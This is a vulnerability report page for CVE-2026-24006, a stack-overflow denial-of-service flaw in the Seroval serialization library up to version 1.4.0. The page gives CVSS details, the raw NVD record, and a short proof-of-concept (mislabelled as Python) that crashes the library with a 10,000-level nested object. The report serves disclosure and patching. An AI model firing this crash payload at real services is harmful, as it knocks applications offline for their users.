Security Vulnerability Report
中文
CVE-2026-24006 CVSS 7.5 HIGH

CVE-2026-24006

Published: 2026-01-22 03:15:48
Last Modified: 2026-04-06 13:51:37

Description

Seroval facilitates JS value stringification, including complex structures beyond JSON.stringify capabilities. In versions 1.4.0 and below, serialization of objects with extreme depth can exceed the maximum call stack limit. In version 1.4.1, Seroval introduces a `depthLimit` parameter in serialization/deserialization methods. An error will be thrown if the depth limit is reached.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:lxsmnsyc:seroval:*:*:*:*:*:node.js:*:* - VULNERABLE
Seroval <= 1.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-24006 PoC - Stack Overflow via Deep Nested Object // Affected: Seroval <= 1.4.0 import { parse, serialize } from 'seroval'; // Generate deeply nested object (10000 levels) function createDeepNestedObject(depth) { let obj = {}; let current = obj; for (let i = 0; i < depth; i++) { current.nested = {}; current = current.nested; } current.value = 'deeply_nested_payload'; return obj; } // Test case 1: Trigger via serialize (serialization) try { const deepObj = createDeepNestedObject(10000); const serialized = serialize(deepObj); console.log('Serialization succeeded'); } catch (e) { console.log('Stack Overflow triggered during serialization:', e.message); } // Test case 2: Trigger via parse (deserialization) try { const deepJSON = JSON.stringify(createDeepNestedObject(10000)); const parsed = parse(deepJSON); console.log('Parse succeeded'); } catch (e) { console.log('Stack Overflow triggered during parsing:', e.message); } // Fixed version (1.4.1+) with depthLimit parameter: // const serialized = serialize(deepObj, { depthLimit: 1000 }); // This will throw an error when depth limit is reached instead of crashing

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24006", "sourceIdentifier": "[email protected]", "published": "2026-01-22T03:15:47.933", "lastModified": "2026-04-06T13:51:37.490", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Seroval facilitates JS value stringification, including complex structures beyond JSON.stringify capabilities. In versions 1.4.0\nand below, serialization of objects with extreme depth can exceed the maximum call stack limit. In version 1.4.1, Seroval introduces a `depthLimit` parameter in serialization/deserialization methods. An error will be thrown if the depth limit is reached."}, {"lang": "es", "value": "Seroval facilita la serialización de valores JS, incluyendo estructuras complejas más allá de las capacidades de JSON.stringify. En las versiones 1.4.0 y anteriores, la serialización de objetos con una profundidad extrema puede exceder el límite máximo de la pila de llamadas. En la versión 1.4.1, Seroval introduce un parámetro 'depthLimit' en los métodos de serialización/deserialización. Se lanzará un error si se alcanza el límite de profundidad."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lxsmnsyc:seroval:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.4.1", "matchCriteriaId": "85760E40-9AB1-40EB-98A1-D1A4411AAFC5"}]}]}], "references": [{"url": "https://github.com/lxsmnsyc/seroval/commit/ce9408ebc87312fcad345a73c172212f2a798060", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/lxsmnsyc/seroval/security/advisories/GHSA-3j22-8qj3-26mx", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}